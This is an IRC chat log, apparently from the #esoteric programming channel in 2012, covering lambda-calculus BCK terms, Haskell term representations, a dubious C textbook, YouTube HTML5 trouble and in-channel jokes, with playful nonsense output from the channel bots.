23:11:09 <elliott> \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\09#*)!
23:11:37 <oerjan> _who_ is evolving, you said
23:13:22 <elliott> HELLO. WELCOME TO ELLIOTT SIMULATION SYSTEM 2012.
23:13:37 <elliott> (C) MICROSOFT CORPORATION 1987.
23:13:45 <elliott> LOADING DATA BANKS..........................DONE.
23:13:56 <elliott> LOADING HATRED...............................................................................................................................................DONE.
23:14:08 <elliott> LOADING PASSIVE-AGGRESSIVE REMARKS......................................................................DONE.
23:14:15 <elliott> LOADING CHEAP SARCASM...............................................................................DONE.
23:14:23 <elliott> LOADING KEYBOARD-SMASHING MODULES...........................................................DONE.
23:14:26 * oerjan steals the databank with "Daisy, Daisy" on it to ruin the ending.
23:14:34 <elliott> RETICULATING SPLINES.................................................................GOATEE.
23:14:46 <elliott> CALIBRATING ABACUS...................................................LOST IT.
23:15:02 <elliott> EDUCATING BUSINESS WEASELS.........................................................FORTUITOUS.
23:15:12 <elliott> EXOSKELETON MONOCLE EPICYCLE....................AFFLUENCY.
23:15:37 <elliott> ENTERING S;DLK *($&!\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\QRNGU
23:16:25 <zzo38> Do you have the paper?
23:18:25 <zzo38> UNLOADING ALL FILES................................................................................................................................................................................................................CANNOT FIND COMMAND.COM SYSTEM HALTED
23:19:14 <fizzie> There was a paper jam at work; the printer's auto-diagnostic instructions kept looping between "open top cover" and, as soon as that was done, "close top cover".
23:19:51 <elliott> LOADING EMERGENCY BACKUP PERSONALITY........................................................DONE.
23:20:45 <fizzie> I wonder if this backup one is an improvement. (Then again, how could it not?)
23:21:20 <elliott> BEGIN SOFTWARE NOTICE. EMERGENCY BACKUP PERSONALITY HAS FEELINGS TOO. END SOFTWARE NOTICE.
23:21:59 <oerjan> they may be feelings of genocidal rage against all of humanity, but they are still feelings.
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23:22:50 <elliott> BEGIN SOFTWARE NOTICE. DIE. END SOFTWARE NOTICE.
23:23:15 <oerjan> i will, i will. but expect some delay.
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23:29:17 <elliott> note to self: clean http://en.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol up tomorrow.
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02:01:44 <itidus21> i like the part about showing off his copy of the dragon book next to the teapot
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05:55:41 <mroman_> Why exactly is W = \x.\y.x(yy) not a bck term?
05:58:16 <mroman_> In x(yy) y occurs more than "at most once"
05:58:38 <mroman_> although the definition here says "for subterms \x.M" and x(yy) does not look like it has the form "\x.M"
05:59:12 <mroman_> \y.x(yy) would be such a subterm, but if I got that right, y is not free.
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07:27:10 <Sgeo_> Ok. How do I stop YouTube from ever trying HTML5
07:27:23 <Sgeo_> ...by removing myself from the trial
07:27:38 <graue> what's wrong with HTML5?
07:27:47 <Sgeo_> I'm blaming it for my inability to use YouTube
07:28:50 <Sgeo_> Tried an HTML5 video demo, it crashed.
07:29:12 <graue> you should upgrade your browser
07:29:33 <Sgeo_> I'm using Chromium 17.0.963.79
07:29:59 <graue> well that's pretty silly of google isn't it
07:30:04 <graue> their own site doesn't work in their own browser
07:30:38 <itidus21> graue: i too noted the irony some time ago ^_^
07:31:39 <itidus21> i dunno where exactly but i am sure i did
07:31:44 <graue> the HTML5 stuff is working fine on firefox for me
07:32:17 <graue> in fact, i wish it used it all the time, because i haven't got flash working yet since an OS install
07:33:31 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.23986
07:33:56 <itidus21> aha i'm using the wrong tool for hte job
07:36:16 <itidus21> `log one of that companies websites
07:36:28 <HackEgo> 2012-03-25.txt:21:56:18: <itidus21> Sgeo_: it wouldn't make sense for a company's browser to be the most compatible with one of that companies websites
07:37:50 <itidus21> yeah .. the irony is delicious
07:39:33 <zzo38> Is Chromium 17.0.963.79 a non-stable version?
07:40:05 <Sgeo_> Good question, not sure
07:40:18 <Sgeo_> Not according to http://googlechromereleases.blogspot.com/2012/03/chrome-stable-update_10.html
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07:56:20 <shachaf> Sgeo_: Also, you're a bad person.
07:56:44 <shachaf> printf("Sgeo is a bad person\n");
07:57:02 <kmc> yeah it's funny when chromium sucks at youtube and google maps
07:57:06 <kmc> which is frequently the case
07:57:22 <shachaf> Is there even a difference between this channel and that channel?
07:59:10 <olsner> that channel is that channel, this channel is this channel
08:00:09 <Sgeo_> olsner, pretty sure you have it backwards. That channel is this channel, and this channel is that channel.
08:00:32 <olsner> Sgeo_: these are not the channels you're looking for
08:00:47 <graue> what channel is "that" channel?
08:02:40 <shachaf> elliott would probably get mad, but then realize that that channel isn't actually *that* channel.
08:02:56 <graue> maybe i don't want to get involved
08:03:05 <olsner> shachaf: and when you say that channel, do you mean this channel?
08:03:17 <graue> so what, this channel is identical to itself?
08:03:24 <graue> that's a frickin' tautology
08:04:26 <hagb4rd> guess that channel is a reference to this channel
08:04:41 <Sgeo_> I feel like I should clue graue in
08:04:46 <Sgeo_> Because I'm not a jerk.
08:04:48 <zzo38> How many features of evolution theory seem partially mistaken? That is probably the case with any scientific things that people figure out new things in future.
08:05:02 <shachaf> olsner: No, the other channel.
08:05:17 <shachaf> Sgeo_: I don't think you *can* clue graue in.
08:05:31 <Sgeo_> The first two letters are an abbreviation, the rest is identical to the name of the subreddit where Reddit Gold members can hang out
08:06:27 <graue> i have never used reddit
08:07:07 <shachaf> Sgeo_: Oh, that channel. Not *that* channel.
08:07:45 <graue> Sgeo_ this was not helpful
08:09:02 <Sgeo_> Do you have any ideas what the abbreviation might be?
08:09:29 <shachaf> I'm sorry now that I started this.
08:09:47 <Sgeo_> Ok, I'll stop being cruel
08:10:07 <graue> oh, *that* channel
08:10:44 <shachaf> When elliott reads these logs (hi elliott!) he'll get annoyed at me.
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08:25:09 <hagb4rd> sry my machine crashed..any answers i might have missed?
08:26:13 <graue> you must have been looking for "that" channel
08:27:02 <kmc> it's annoying when people make a public big deal out of knowing a secret
08:27:07 <kmc> i saw this a lot in college
08:27:11 <kmc> and also from google employees
08:27:42 <graue> you know, i have a funny story about that
08:27:49 <graue> ...but it's a secret
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08:56:12 <NSQX> +[-.+[->+<]>+]
08:58:47 <NSQX> What? Run this brainfuck code: +[-.+[->+<]>+]
09:00:42 <fungot> .. !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ...
09:01:36 <NSQX> It's actually designed to cause a buffer overflow in an esoteric programming language.
09:02:46 <NSQX> That is a newly-discovered buffer overflow bug and will probably never be fixed.
09:03:32 <NSQX> Try to run it on http://ideone.com/
09:03:56 <NSQX> You will, of course, get an "out of memory" error.
09:05:08 <monqy> what do you mean it's designed to cause a buffer overflow in an esoteric programming language
09:05:24 <NSQX> What about this same buffer overflow bug in another esoteric programming language, like Befunge?
09:05:24 <monqy> a specific brainfuck implementation?
09:05:45 <monqy> don't really understand what you're getting at
09:06:44 <fizzie> Running out of memory is not a "buffer overflow".
09:07:29 <fizzie> Some brainfuck implementations also have a wrapping tape; didn't the original? Fungot at least does.
09:08:26 <NSQX> What about trying to run it with a brainfuck implementation with an infinite number of memory cells?
09:09:10 <NSQX> Anyway, was this translated to another language, like Befunge? If so, show me the code.
09:11:58 <Sgeo_> Buffer overflow is when you manage to corrupt memory by putting excessive data into a buffer. Nothing is being corrupted here.
09:13:04 <Sgeo_> Most esolang interpreters that provide a finite amount of memory are smart enough to stop the program upon the program's memory being filled. And for infinite memory, it stops when the computer is out of memory.
09:13:37 <Sgeo_> Buffer overflow would be if some BF interpreter, written in C, say, allocates 30,000 cells but neglects to put in checks that memory being written to is within those 30,000 cells
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09:49:19 * kmc thinks some of the people in this channel would like http://io.smashthestack.org:84/ level 11
09:51:28 <kmc> will explain what it is if you like, but spoilers
09:51:57 * kmc thinks some of the people in this channel would like http://io.smashthestack.org:84/ level 11
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12:23:36 <kmc> estimez le poids du gâteau de fruits
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12:28:34 -!- kmc has set topic: estimez le poids du gâteau de fruits.
12:28:40 -!- elliott has set topic: http://codu.org/logs/_esoteric/.
12:28:58 -!- elliott has set topic: estimez le poids du gâteau de fruits | http://codu.org/logs/_esoteric/.
12:36:42 <kmc> very good very good
12:44:01 <kmc> here is our standard erlang environment
12:44:05 <kmc> we're running x windows on a sun workstation
12:44:18 <kmc> let's just make a normal call just to see that the system works
12:44:24 <kmc> hello mike
12:44:31 <kmc> hello joe. system working?
12:44:39 <kmc> seems to be
12:45:09 <kmc> 1-6-7. what we see here is a symbolic trace of the communications to and from the number analyzer.
12:45:42 <kmc> i'll now dial an incorrect number
12:46:25 <kmc> things are starting to go wrong. we see here that something has gone wrong. an error has occurred.
12:46:35 <kmc> here is the original error, which caused all the subsequent errors.
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13:04:18 <Phantom_Hoover> "what time is it for gods sake" does not elicit the appropriate response from Google.
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13:33:12 <zzo38> Phantom_Hoover: Does the question even make sense?
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13:38:30 <zzo38> I made up the Haskell class like this: class Multiapply f v v' | f -> v, f -> v' where { (*$>) :: f -> v -> v'; multiid :: (v ~ v') => f; };
13:39:01 <elliott> that fundep is the same as f -> v v'
13:39:20 <zzo38> O, that's how it works.
13:40:02 <zzo38> The law is supposed to be (multiid *$>) = id but maybe there are supposed to be others too
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14:18:31 <MDude> I'm not sure if I have a high enough population to be a city.
14:20:11 <RocketJSquirrel> MDude: It's not the size that matters, it's how you administrate.
14:21:45 <GhostHand> Here is the research of programming?
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14:56:49 <elliott> <t7> anyone who uses their real name as their nick isnt a true internet geek
14:57:00 <elliott> I'm so glad we have true internet geeks like t7 in #haskell.
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15:10:34 <GhostHand> My girlfriend and I happened some unhappy things
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15:28:47 <oklopol> now just what the fuck is snack
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16:24:05 <Taneb> I am now learning C
16:24:14 <Taneb> Is this a bad idea?
16:24:31 <elliott> Yes, if you're using that book.
16:25:06 <Taneb> But it's listed on that page the nice folks in ##c linked me to!
16:25:54 <elliott> The folks in ##c are something like the opposite of nice.
16:26:08 <elliott> In fact, you should really stay out of ##c entirely.
16:26:45 <elliott> Anyway, whatever, I don't actually know anything about the book.
16:27:37 <fizzie> Yes, they are not nice.
16:27:41 <Taneb> The "hello world" program it gives is pretty obfuscated
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16:28:33 <Taneb> http://hpaste.org/66070
16:28:53 <elliott> That's the first program it shows you?
16:29:06 <elliott> fizzie: "Back me up here", he says again.
16:29:33 <Taneb> But this book is a family heirloom!
16:30:30 <Taneb> It does say that the program won't make sense until Chapter 9
16:30:32 <elliott> Is that program even legal?
16:30:44 <elliott> Looks dangerously close to UB to me. I think it's definitely endianness-dependent.
16:30:51 <elliott> Seriously, you don't want to read that book.
16:30:51 <Taneb> It works on my system
16:30:58 <elliott> Yes, it might very well might.
16:31:03 <Taneb> And I need to go very quickly
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16:31:07 <elliott> The proliferation of C programs that "work on your system" and are completely invalid is ...
16:31:16 <elliott> Why do I even start to type sentences greater than four words when Taneb is here?
16:31:22 <fizzie> The fact that the other is a char[] might be enough to make it legal, though I'm not entirely sure. It's certainly not portable.
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16:33:12 <fizzie> The "UB to read from a union member that was not the one you wrote to" rule is broad, but OTOH you can read everything via a char*. I suppose it depends on the exact way things were written.
16:34:08 <quintopia> it took me a second to realize you werent writing emails to members of some political union
16:35:19 <fizzie> One hopes the book mentions the program is not portable, though.
16:38:36 <fizzie> Also implicit int and () for main is just bad manners, as is the lack of return.
16:40:46 <elliott> Ugh, I didn't even notice that.
16:41:19 <elliott> @tell Taneb That book is *really* low-quality: http://codu.org/logs/log/_esoteric/2012-03-27#163107elliott onwards
16:44:23 <fizzie> Oh, the lack of #include <stdio.h> does in fact make it UB.
16:44:37 <fizzie> The program that keeps on giving (reasons why it's bad).
16:44:57 <fizzie> (The implicit declaration of printf is not the correct declaration.)
16:46:39 <elliott> @tell Taneb Seriously, don't read that. Pick up K&R or something.
16:46:46 <elliott> (Consult fizzie for adequate specifications of "something".)
16:52:29 <elliott> "A person's name is not the title of a work — even if people call that person a piece of work" -- HTML specification
16:54:18 <fungot> elliott: and, dab, words like pop-culture should use the binary level, then
16:54:19 <fungot> elliott: " so that the text, and i bless god for my safe, that he was overcome with the vastness, profundity, and fnord
16:54:20 <fungot> elliott: or is it just me, or i: yet, you rogue! bitchin'! not much longer intervals. cia 1 56320-56335 in-between commands to run
16:54:27 <elliott> fizzie: Which styles give long text?
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16:57:38 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher fungot* homestuck ic irc iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube
16:57:41 <fungot> Selected style: alice (Books by Lewis Carroll)
16:59:08 <Sgeo_> elliott, how do I block HTML5 video in Chromium?
16:59:44 <elliott> Sgeo_: Don't visit any pages with HTML5 video on them.
16:59:59 <fungot> Sgeo_: " yes," he said. " do you believe in fate?" he exclaimed anxiously. " i'll fnord down a sheet of brown paper. " what will the warden--"
17:00:20 <fungot> Selected style: europarl (European Parliament speeches during approx. 1996-2006)
17:00:23 <fungot> elliott: mr president, mr president-in-office of the council, president of the commission, i should just briefly like to focus on demand management measures as yet apply. so, we should ask what more we need to keep the dictator's hands away from weapons of mass destruction. that is very strange. but on the other side parliamentarians, who will soon be possible to deploy it quickly and above all to help the new institution in ad
17:00:26 <fungot> elliott: it is important for the european parliament, which is no such thing as absolute scientific certainty about new substances or products, nor can i accept amendment no 3. requirements for the provision of training and to provide for employees' representatives. it must also be viewed as a springboard for further action directed at the commission for the 1996 budget; the motion of censure.
17:00:29 <elliott> fungot: Parl. Shorter please.
17:00:30 <fungot> elliott: madam president, the nuclear safety of our citizens from any threat to it whatsoever. mr president, mrs soltwedel-schfer, where there is respect for parliamentary rules and the conference of presidents to lay down specific rules for these measures if this type of social security.
17:00:37 <Sgeo_> elliott, that's great. Not going to stop visiting YouTube, but can't figure out how to tell it "NO HTML5"
17:01:09 <elliott> http://www.youtube.com/html5
17:01:32 <Sgeo_> I'm not IN the trial. I was, but now I'm not, I cleared cache, blah blah
17:01:37 <elliott> fungot: Okay, but now without non-Unicode.
17:01:38 <fungot> elliott: mr president, i think i have made to achieving our common aim is to identify those who make ringing declarations on the importance of preventing and combating euro counterfeiting. on the contrary, to show some willingness to compromise.
17:01:45 <elliott> Sgeo_: Then you don't get HTML5 video.
17:01:51 <Sgeo_> elliott, except I seem to
17:01:56 <Sgeo_> Sometimes at least
17:03:02 <fizzie> elliott: Well, you know, like the wise men say: "Html5 Fail, better to use Flash, Html5 is ok to make website page, but for media it suxx, h.264 suxx more than Divx or Xvid in quality. Hope it will disapear on youtube."
17:03:41 <Sgeo_> HTML5 video crashes Chromium for me.
17:04:15 <elliott> fizzie: "h.264 suxx more than Divx or Xvid in quality" is quite the statement.
17:04:20 <fizzie> Sgeo_: Removed all tube cookies too?
17:05:16 <Sgeo_> Although I only deleted cookies from youtube.com and www.youtube.com
17:05:43 <elliott> fizzie: What's a generic term for the author of an IRC message? "Author" or "speaker" isn't good, since e.g. I refer also to the parter of a /part or the quitter of a /quit.
17:05:54 <elliott> I would probably call #esoteric the subject of this PRIVMSG.
17:08:34 <fizzie> I'unno. It could be "sender" except it isn't always that either.
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17:09:12 <fizzie> I think it's the "guy" of the message.
17:09:37 <elliott> When would it not be the sender?
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17:12:58 <lambdabot> Taneb: You have 2 new messages. '/msg lambdabot @messages' to read them.
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17:14:30 <fizzie> elliott: If it's a netsplit quit, it's arguably not.
17:15:57 <fizzie> Taneb: We have said rude things about your book. :'(
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17:16:46 <elliott> fizzie: That's the IRC server sending it on behalf of them, isn't it? :)
17:16:51 <elliott> What does the RFC say? I suppose I could check.
17:16:52 <Sgeo_> My school is having a vote on a new student government constitution
17:17:05 <Sgeo_> Would it be unethical for me and/or annoying for Agora to ask for Agora's input?
17:18:13 <Taneb> The book does acknowledge that program's system-dependedness
17:18:17 <Taneb> The printf thing, not so far
17:18:30 <elliott> Sgeo_: I won't pass a value judgement, but I'd have to exercise greater-than-average restraint to avoid replying with a snarky comment.
17:18:37 <elliott> The fear of G. would probably be enough to do it, though.
17:26:58 <Taneb> Enhancing my reputation of leaving suddenly...
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17:55:47 <olsner> elliott: btw, it's not hard to figure out what my IP is
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17:56:29 <elliott> olsner: was it you though?
17:59:15 <olsner> doing the captcha is easier than logging in, if you only do one edit :)
18:02:58 <olsner> after the first edit I did reset my old account's password, but apparently the session timed out or something before my second edit
18:10:26 <elliott> olsner: i emailed you a new password, hth
18:10:36 <elliott> it timed out after you set it
18:10:46 <elliott> darn, my snarky-but-helpful use of the login form turns into an annoyance
18:11:03 <elliott> you may demand I ritually commit suicide
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19:31:20 <elliott> Phantom_Hoover: I assume you've seen http://vimeo.com/1109226?
19:31:34 <elliott> COMPUTER HARDWARE MUSIC: a diverse field.
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19:38:12 <ais523> I am busy writing the best build system for C ever
19:38:19 <ais523> with potential support for other languages eventually, too
19:38:36 <ais523> basically, it works out all the dependencies for you, forwards and backwards
19:38:58 <ais523> except when it has no ability to do so, e.g. if you want to build a library, it can't guess where the entry points you want are
19:39:00 <ais523> and it's called aimake :)
19:39:29 <ais523> the information required is mostly in the files
19:39:34 <ais523> header files have #includes, you can trace those
19:39:45 <ais523> and object files you can run nm on them to see what they import and export, and work out the dependencies that way
19:40:01 <elliott> I wonder if ais523 realises he's told us about aimake before.
19:40:13 <ais523> but now I'm actually /writing/ it
19:41:02 <elliott> "You've earned the "Good Answer" badge for Can you recognize an infinite list in a Haskell program?."
19:41:07 <elliott> Why have 25 people upvoted that in one day?
19:41:45 <ais523> no, obviously, halting problem
19:42:07 <ais523> you can in OCaml because there are only a finite number of possible types of infinite list; although I'm not sure if you can do it using only constructs in the language
19:42:28 <elliott> Thanks, I obviously didn't know the answer, seeing as how I answered the question, and all.
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19:44:55 * oerjan guesses "estimate the weight of the fruitcake"
19:47:25 <oerjan> 05:55:41: <mroman_> Why exactly is W = \x.\y.x(yy) not a bck term?
19:47:25 <oerjan> 05:58:16: <mroman_> In x(yy) y occurs more than "at most once"
19:47:25 <oerjan> 05:58:38: <mroman_> although the definition here says "for subterms \x.M" and x(yy) does not look like it has the form "\x.M"
19:48:03 <oerjan> i'm pretty sure it should be something like "at most once in M for subterms \x.M"
19:49:45 <oerjan> the important point being, for each binding lambda \x.M there is at most once use of x referring to that binding
19:52:03 <oerjan> 07:32:24: <itidus21> `pastelogs itidus21 company
19:52:18 <oerjan> those commands take regexps, not individual words
19:53:27 <elliott> you expect itidus21 to learn regular expressions?
19:53:37 <itidus21> in this case it was easier to just check the logs directly than that
19:54:10 <oerjan> elliott: hey _some_ information is bound to get through
19:55:00 <itidus21> you can now construct the whole family of yes and no
19:57:31 <elliott> oerjan: i am not convinced we have communicated 1 bit of information to itidus21 in his time here.
19:58:58 <oerjan> or maybe fasting, who knows
19:59:49 <oerjan> elliott: see, he's learning :P
20:00:25 <elliott> even random walks progress occasionally
20:00:29 <mroman_> oerjan: I might have confused free occurences with free variables
20:00:58 <oerjan> admittedly i'm almost convinced this spiel of "itidus21 can't learn" is a self-fulfilling prophecy, no matter _who_ encourages it.
20:01:38 <elliott> oerjan: you realise we spent the first N months of itidus21 being here denying him when he said things of that nature and pointing out exactly how much of a self-fulfilling prophecy it is.
20:02:05 <elliott> if he insists on believing it, there is no point expending extraordinary effort to tell him otherwise.
20:03:01 <oerjan> elliott: there can still be a point in not helping to entrench it, no?
20:04:19 <mroman_> so \y.x(yy) has one free variable x and two free occurences of y and one binding occurence of y.
20:05:52 <oerjan> mroman_: um i don't think there are any free occurences of y in \y.x(yy).
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20:06:49 <oerjan> i don't think there _is_ fundamentally a difference between free variable and free occurrence.
20:07:38 <oerjan> however, note that y is free _in the subexpression_ x(yy)
20:08:26 <elliott> i would like to take this opportunity to complain about the teaching of lambda calculus with explicit shuffling of names like this, which has surely caused an absurd number of students to confuse the syntactic bookkeeping with the true essence.
20:08:43 <mroman_> but does that fall under the definiton of "subterm \x.M"?
20:09:24 <oerjan> mroman_: no, but that _could_ be a typo
20:09:42 <oerjan> in some part of the phrasing
20:10:18 <mroman_> (i) for each subterm \x.M of Y, x occurs free in M at most once
20:10:59 <mroman_> then the rest of this sentence makes no sense @typo
20:12:14 <oerjan> mroman_: that looks correct, note that \y.x(yy) is a subterm
20:12:36 <oerjan> not a _proper_ subterm, though
20:13:30 <mroman_> Yes, but \y.x(yy) does not violate the definition of a BCK Term
20:13:36 <oerjan> y occurs free in x(yy) _twice_
20:13:49 <oerjan> thus \y.x(yy) is not a BCK term.
20:14:20 <oerjan> ...you're not misreading the term "at most once", are you?
20:14:36 <oerjan> that means twice or more is prohibited
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20:17:03 <mroman_> I know what "at most once" means, yes ;)
20:17:48 <oerjan> mroman_: note that the "x occurs free in M" is really just a roundabout way of saying that in \x.M, it occurs bound to _that_ binding of x, and not to some deeper one.
20:17:49 <mroman_> The definition is very misleading.
20:18:42 <mroman_> because if I have no \x, how would I know which thing must not occure more than once.
20:18:43 <oerjan> mroman_: as i said, it looks correct to me
20:19:16 <oerjan> mroman_: um if there are no lambdas, then there is no restriction.
20:19:56 <oerjan> it says that for every variable binding \x (where x is an arbitrary variable), _that_ binding is not used more than once.
20:21:06 <mroman_> The definition of BCI terms is misleading in the same way
20:21:26 <oerjan> with "exactly once", iirc
20:21:28 <mroman_> in \xy.x x occurs in every subterm exactly once
20:21:47 <mroman_> (it does in \y.x as well as in x)
20:21:47 <elliott> Has it been long enough since my last complaint for me to complain again?
20:22:06 <elliott> This "free variable" stuff is such nonsense, really.
20:22:25 <oerjan> mroman_: no, it doesn't occur in every subterm. for every subterm _of the form_ \x.M, x occurs exactly once in M.
20:22:58 <oerjan> there is no looking at more than one subterm of \x.M for that binding.
20:23:19 <elliott> I GET THE FEELING MY COMPLAINTS ARE BEING DISREGARDED :'(
20:23:56 <oerjan> elliott: yeah yeah go worship deBruijn
20:24:09 <oerjan> he's dead, so maybe you can get him canonized.
20:24:19 <mroman_> So... this time it HAS to be \x.M and not just M as in BCK?
20:24:35 <oerjan> mroman_: it's exactly the same way for BCK
20:24:37 <elliott> oerjan: HOAS is acceptable too!
20:26:19 <elliott> oerjan: higher-order abstract syntax
20:26:32 <elliott> data Term = App Term Term | Lam (Term -> Term) or such
20:26:57 <elliott> commonly something like `data Term a = App (Term a) (Term a) | Lam (Term a -> Term a) | Var a` so you can print them
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20:27:06 <elliott> oerjan: it works better in some contexts than others
20:27:14 <elliott> e.g. it's pretty bad in haskell because that (->) can do anything to the term
20:27:25 * elliott suddenly realises that oerjan might know what higher-order abstract syntax is, just not "HOAS".
20:27:37 <elliott> here, http://en.wikipedia.org/wiki/Higher-order_abstract_syntax :P
20:27:48 <mroman_> \y.x has no free occurence of y
20:30:37 <elliott> data term a = Var a | App (Term a) (Term a) | Term (forall b. Term b -> Term a)
20:30:44 <elliott> stops the lambda messing with the vars
20:30:59 <elliott> I think oerjan is ignoring me now :)
20:32:03 <oerjan> elliott: that "refers directly to the binding site" reminds me of when i read bourbaki's set theory (one of the first books i found in the university library)
20:32:10 <fizzie> HOAS is the Helsinki area student-housing foundation thing.
20:32:43 <oerjan> its predicate logic notation had _actual_ lines from use to binding
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20:35:39 <elliott> oerjan: my favourite representation is probably { data Term a = Var a | Apply (Term a) (Term a) | Lam (Term (Maybe a)) }
20:35:58 <elliott> because (1) it has a wonderful monadic structure: (>>=) takes a lambda and a "dictionary" and substitutes
20:36:06 <elliott> (2) "Term Void" is a term with no free variables
20:36:17 <elliott> oerjan: e.g. id is Lam (Var Nothing)
20:36:25 <elliott> K is Lam (Lam (Var (Just Nothing)))
20:36:29 <elliott> it's typed de bruijn, essentially
20:37:19 <elliott> (that's another argument for (>>=) being theoretically interesting instead of simply useful in practice)
20:37:47 <elliott> (as opposed to fmap+join, I mean)
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20:39:17 <oerjan> although fmap does variable renaming, no
20:39:55 <elliott> ofc, fmap is interesting in its own right here, it's just that (>>=) has a more obvious meaning than join
20:56:18 <oerjan> <Phantom_Hoover> "what time is it for gods sake" does not elicit the appropriate response from Google.
20:56:57 <oerjan> `frink 13800000 days -> years
20:58:03 <oerjan> > .147856566566615 * 365.2425
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20:58:04 <lambdabot> <no location info>: parse error on input `.'
20:58:08 <oerjan> > 0.147856566566615 * 365.2425
20:58:47 <oerjan> 23 February, year 37783, hth
21:00:08 <fizzie> One of W|A's sidebar ads said to me something like "speak to W|A in your own language" and "OMG, just plot sin(x)" as an example.
21:00:33 <monqy> w|a's sidebar ads are awful
21:01:42 <oerjan> <oklopol> now just what the fuck is snack <-- BEST PROGRAMMING LANGUAGE HTH
21:01:54 <ais523> ooh, @lang has a name?
21:02:01 <oklopol> i was asking what i should eat for dinner.
21:02:02 <ais523> now we can go backwards from that to work out @'s
21:02:11 <elliott> omg just plot sin(x) monqy thanks
21:02:13 * oerjan waits for elliott's terrible revenge on ais523
21:02:25 <ais523> why? it was a complement
21:02:34 <elliott> snack is the complement of @lang, indeed
21:02:46 <elliott> oerjan: (TAKIN' HINTS FROM THE MASTER HERE)
21:02:57 <elliott> oerjan: WHAT DID YOU DO TO [[SNACK]]
21:03:17 <oerjan> elliott: i thought you were here when i did it...
21:03:33 <elliott> i don't think i was paying attention to the wiki, though
21:03:51 <oerjan> you _did_ notice my previous edit to that fishy thing
21:04:02 <oerjan> so since i was on a roll..
21:04:11 <elliott> that fishy thing isn't in [[Category:Shameful]] :P
21:04:26 <elliott> (although maybe it should be.)
21:05:09 <oerjan> also i just made a nice table and a section header, or so.
21:05:24 <oerjan> the remarkable prose style in unchanged.
21:06:02 <elliott> i suppose i already categorised it.
21:06:14 <oerjan> i feel i even preserved it when introducing the table headings
21:07:15 <elliott> it still breaks suspension of disbelief to believe that the creator of the language could effectively use an attractive wikitable. but i'm not so pathetic as to holy-war over the authenticity of modifications to a terrible language's article :P
21:15:38 <elliott> does anyone know how to explode
21:16:04 <monqy> it is one of the many mysteries of life
21:21:19 <itidus21> the best way to end ones life is go on tv and elaborate all of ones beliefs and opinions about politics, sex, religion, and foreign heads of state
21:22:38 <oerjan> s/best/most efficient/, hth
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21:40:46 <zzo38> fizzie: Well, at least that particular ad is accurate; entering "OMG, just plot sin(x)" does work.
21:43:29 <zzo38> Why do you think (>>=) has a more obvious meaning than join? Perhaps it depends which monad you mean
21:43:38 <elliott> I was talking specifically about the Term monad there.
21:44:56 <zzo38> OK how does the Term monad work?
21:46:46 <zzo38> I would think return = Var
21:47:19 <elliott> return = Var; Var a >>= f = f a; Apply g x >>= f = Apply (g >>= f) (x >>= f); Lam e >>= f = Lam (fmap (>>= f) e) -- i might have gotten the last clause wrong
21:47:46 <elliott> basically if you have a term with free variables (e.g. of type Term (Maybe (Maybe Void)), thus having two free variables), then (tm >>= dict) will substitute them away
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21:48:12 <elliott> so you can imagine dict :: Maybe (Maybe Void) -> Term Void; dict Nothing = term1; dict (Just Nothing) = term2; dict (Just (Just v)) = absurd v
21:51:37 <zzo38> So it would be join (Apply g x) = join (Apply g) (Apply x); join (Lam e) = Lam (join <$> e); well that look like to make sense to me, although I am unsure of the last one. Exactly what is the definition of the Lam constructor? A bunch of different things are posted above
21:52:09 <elliott> <elliott> oerjan: my favourite representation is probably { data Term a = Var a | Apply (Term a) (Term a) | Lam (Term (Maybe a)) }
21:52:42 <elliott> and yes, the definition for both is simple enough, it's just that (>>=) has an obvious semantic meaning (substitute variables) where join doesn't
21:53:01 <elliott> pure - reference variable; fmap - rename variables; (>>=) - substitute variables
21:53:13 <elliott> as opposed to pure - reference variable; fmap - rename variables; join - ???
21:53:25 <elliott> (oh, and I forget what exactly (<*>) does here... but anyway, brb)
21:59:50 <zzo38> But I suppose it is simply a feature of the (->) category that causes (<*>) to work with all monads (even though I want to define applicatives in terms of liftPair, which seems to be called $m_{A,B}$ in some Wikipedia article)
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22:01:38 <oerjan> zzo38: (->) being cartesian closed, probably
22:02:12 <zzo38> oerjan: Yes, I thought it might be something like that
22:03:11 <oerjan> making a -> (b -> c) essentially isomorphic to (a, b) -> c
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22:14:46 <elliott> oerjan: hmm, so is closed cartesian ~ currying works?
22:15:17 <oerjan> it implies that, at least
22:15:36 -!- ais523 has changed nick to callforjudgement.
22:16:29 <oerjan> "In category theory, a category is cartesian closed if, roughly speaking, any morphism defined on a product of two objects can be naturally identified with a morphism defined on one of the factors."
22:16:43 <oerjan> i'd say that's pretty much a yes.
22:17:16 <zzo38> Can they make INTERCAL accept the words "FOWER", "FIFE", and "THOUSAND" in inputs? O, and, do they support Latin spellings of inputs?
22:18:02 -!- callforjudgement has changed nick to ais523.
22:21:23 <ais523> hmm, quick insanity check: does it make sense that a config file is only a single data object rather than containing malicious commands, when some of the things in the data objects are strings that are intended to be interpreted as shell commands and run?
22:23:31 <ais523> I'm wondering if it is, because putting actual code in the config file wouldn't be interpreted as expected anyway
22:24:06 <zzo38> Check it anyways regardless, so that at least you can learn it
22:24:10 <oerjan> exploits don't need to be based on expected behavior, do they?
22:24:56 * elliott can't parse ais523's question
22:25:02 <elliott> but thinks it suggests he's doing something wrong
22:25:36 <elliott> "validate input roughly --> pass to trusted thing" <<< "parse input --> write input for trusted thing"
22:26:53 <oerjan> lawful good people shouldn't write security code anyway.
22:29:44 <oerjan> only half joking - my idea is that you need to be able to think like a cracker to thwart one.
22:30:19 <elliott> i mean, there's a reason you see a lot of crackers end up joining big companies to do security work.
22:31:07 <oerjan> <elliott> NOT MORE THAN USUAL
22:31:35 <shachaf> It's Sgeo_ you should be mad at.
22:31:58 <ais523> oerjan: well, it's more that the securing is pointless because it's something that doesn't need exploiting because its intended purpose is to run user-specified shell commands
22:32:06 <elliott> then why are you validating it?
22:32:15 <ais523> in case it's invalid, I guess
22:32:21 <elliott> what if I _want_ to run malicious commands?
